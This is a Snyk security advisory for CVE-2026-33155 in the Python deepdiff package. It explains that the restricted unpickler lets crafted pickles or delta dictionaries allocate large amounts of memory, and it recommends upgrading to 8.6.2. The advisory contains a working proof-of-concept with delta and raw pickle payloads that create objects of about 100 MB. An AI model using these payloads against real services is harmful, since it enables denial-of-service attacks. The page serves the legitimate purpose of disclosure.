Improperly Controlled Modification of Dynamically-Determined Object Attributes Affecting deepdiff package, versions [5.0.0,8.6.2)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.03% (8th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-DEEPDIFF-15692487
  • published19 Mar 2026
  • disclosed18 Mar 2026
  • creditam-periphery

Introduced: 18 Mar 2026

CVE-2026-33155  (opens in a new tab)
CWE-915  (opens in a new tab)

How to fix?

Upgrade deepdiff to version 8.6.2 or higher.

Overview

deepdiff is a Deep Difference and Search of any Python object/data. Recreate objects by adding adding deltas to each other.

Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes via the _RestrictedUnpickler validates which classes can be loaded, but does not limit their constructor arguments. An attacker can cause excessive memory allocation by submitting specially crafted pickle payloads or diff dictionaries that trigger large object creation during deserialization or delta application. This can result in application crashes or denial of service by exhausting system memory resources.

PoC

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

CVSS Base Scores

version 4.0
version 3.1